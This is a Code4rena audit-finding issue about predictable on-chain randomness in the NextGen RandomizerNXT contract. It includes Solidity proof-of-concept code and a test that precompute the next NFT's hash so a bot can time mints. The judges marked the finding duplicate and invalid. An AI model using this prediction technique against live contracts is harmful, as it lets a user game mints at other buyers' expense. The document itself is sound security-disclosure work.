code-423n4 / 2023-10-nextgen-findings

5 stars 3 forks source link

RandomizerNXT produce predictable token hashes before hand #217

Closed c4-submissions closed 10 months ago

c4-submissions commented 11 months ago

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/RandomizerNXT.sol#L55-L59

Vulnerability details

Impact

Medium impact

Bug explanation

Trying to get random values on-chain is not possible because the values can be predicted. The randomizer NXT contract gets "random" values from the XRandoms contract. This other contract provides the "randomness" the following ways:

function getWord(uint256 id) private pure returns (string memory) {

        // array storing the words list
        string[100] memory wordsList = ["Acai", "Ackee", "Apple", "Apricot", "Avocado", "Babaco", "Banana", "Bilberry", "Blackberry", "Blackcurrant", "Blood Orange", 
        "Blueberry", "Boysenberry", "Breadfruit", "Brush Cherry", "Canary Melon", "Cantaloupe", "Carambola", "Casaba Melon", "Cherimoya", "Cherry", "Clementine", 
        "Cloudberry", "Coconut", "Cranberry", "Crenshaw Melon", "Cucumber", "Currant", "Curry Berry", "Custard Apple", "Damson Plum", "Date", "Dragonfruit", "Durian", 
        "Eggplant", "Elderberry", "Feijoa", "Finger Lime", "Fig", "Gooseberry", "Grapes", "Grapefruit", "Guava", "Honeydew Melon", "Huckleberry", "Italian Prune Plum", 
        "Jackfruit", "Java Plum", "Jujube", "Kaffir Lime", "Kiwi", "Kumquat", "Lemon", "Lime", "Loganberry", "Longan", "Loquat", "Lychee", "Mammee", "Mandarin", "Mango", 
        "Mangosteen", "Mulberry", "Nance", "Nectarine", "Noni", "Olive", "Orange", "Papaya", "Passion fruit", "Pawpaw", "Peach", "Pear", "Persimmon", "Pineapple", 
        "Plantain", "Plum", "Pomegranate", "Pomelo", "Prickly Pear", "Pulasan", "Quine", "Rambutan", "Raspberries", "Rhubarb", "Rose Apple", "Sapodilla", "Satsuma", 
        "Soursop", "Star Apple", "Star Fruit", "Strawberry", "Sugar Apple", "Tamarillo", "Tamarind", "Tangelo", "Tangerine", "Ugli", "Velvet Apple", "Watermelon"];

        // returns a word based on index
        if (id==0) {
            return wordsList[id];
        } else {
            return wordsList[id - 1];
        }
    }

    function randomNumber() public view returns (uint256){
        uint256 randomNum = uint(keccak256(abi.encodePacked(block.prevrandao, blockhash(block.number - 1), block.timestamp))) % 1000;
        return randomNum;
    }

    function randomWord() public view returns (string memory) {
        uint256 randomNum = uint(keccak256(abi.encodePacked(block.prevrandao, blockhash(block.number - 1), block.timestamp))) % 100;
        return getWord(randomNum);
    }

    function returnIndex(uint256 id) public view returns (string memory) {
        return getWord(id);
    }

The values that this contract provides are not really random. Any user can predict the output hash of the upcoming NFT before minting it and waiting for a certain situation that he can benefit from.

Proof of Concept

With the following function in a custom contract, the user can check the output hash that the next NFT will have.

function getOutputHash(uint256 collectionId) public view returns(bytes32){

        uint256 mintIndex = core.viewTokensIndexMin(collectionId) + core.viewCirSupply(collectionId);

        string[100] memory wordsList = ["Acai", "Ackee", "Apple", "Apricot", "Avocado", "Babaco", "Banana", "Bilberry", "Blackberry", "Blackcurrant", "Blood Orange", 
        "Blueberry", "Boysenberry", "Breadfruit", "Brush Cherry", "Canary Melon", "Cantaloupe", "Carambola", "Casaba Melon", "Cherimoya", "Cherry", "Clementine", 
        "Cloudberry", "Coconut", "Cranberry", "Crenshaw Melon", "Cucumber", "Currant", "Curry Berry", "Custard Apple", "Damson Plum", "Date", "Dragonfruit", "Durian", 
        "Eggplant", "Elderberry", "Feijoa", "Finger Lime", "Fig", "Gooseberry", "Grapes", "Grapefruit", "Guava", "Honeydew Melon", "Huckleberry", "Italian Prune Plum", 
        "Jackfruit", "Java Plum", "Jujube", "Kaffir Lime", "Kiwi", "Kumquat", "Lemon", "Lime", "Loganberry", "Longan", "Loquat", "Lychee", "Mammee", "Mandarin", "Mango", 
        "Mangosteen", "Mulberry", "Nance", "Nectarine", "Noni", "Olive", "Orange", "Papaya", "Passion fruit", "Pawpaw", "Peach", "Pear", "Persimmon", "Pineapple", 
        "Plantain", "Plum", "Pomegranate", "Pomelo", "Prickly Pear", "Pulasan", "Quine", "Rambutan", "Raspberries", "Rhubarb", "Rose Apple", "Sapodilla", "Satsuma", 
        "Soursop", "Star Apple", "Star Fruit", "Strawberry", "Sugar Apple", "Tamarillo", "Tamarind", "Tangelo", "Tangerine", "Ugli", "Velvet Apple", "Watermelon"];

        uint256 randomNum = uint(keccak256(abi.encodePacked(block.prevrandao, blockhash(block.number - 1), block.timestamp))) % 1000;

        uint256 index = uint(keccak256(abi.encodePacked(block.prevrandao, blockhash(block.number - 1), block.timestamp))) % 100;

        return keccak256(abi.encodePacked(mintIndex, blockhash(block.number - 1), randomNum, wordsList[index]));
    }

So he can program a bot that tracks the output hash that the NFT will have at any moment. And eventually, when the hash matches a condition that the user can get benefit from, execute the NFT mint. The following test demonstraits that the predicted hash matches the hash that the next NFT gets.

function testPredictableHash() public {
        uint256 collectionID = 1;

        vm.startPrank(userPredicter);
        bytes32 predictedHash = getOutputHash(collectionID);
        bytes32[] memory proofs;
        minter.mint(
            collectionID,
            1,
            0,
            "Random",
            userPredicter,
            proofs,
            address(0),
            0
        );
        bytes32 realHash = core.retrieveTokenHash(mintIndex);
        assertEq(predictedHash, realHash);
    }

Tools Used

Manual review

Recommended Mitigation Steps

Use other methods to get random data off-chain. For example chainlink VRF is a perfect example. It provides random numbers that are 100% unpredictable so users can not get more beneficial hashes.

Assessed type

Other

c4-pre-sort commented 10 months ago

141345 marked the issue as duplicate of #163

c4-judge commented 10 months ago

alex-ppg marked the issue as duplicate of #1901

c4-judge commented 10 months ago

alex-ppg marked the issue as unsatisfactory: Invalid

c4-judge commented 10 months ago

alex-ppg marked the issue as unsatisfactory: Invalid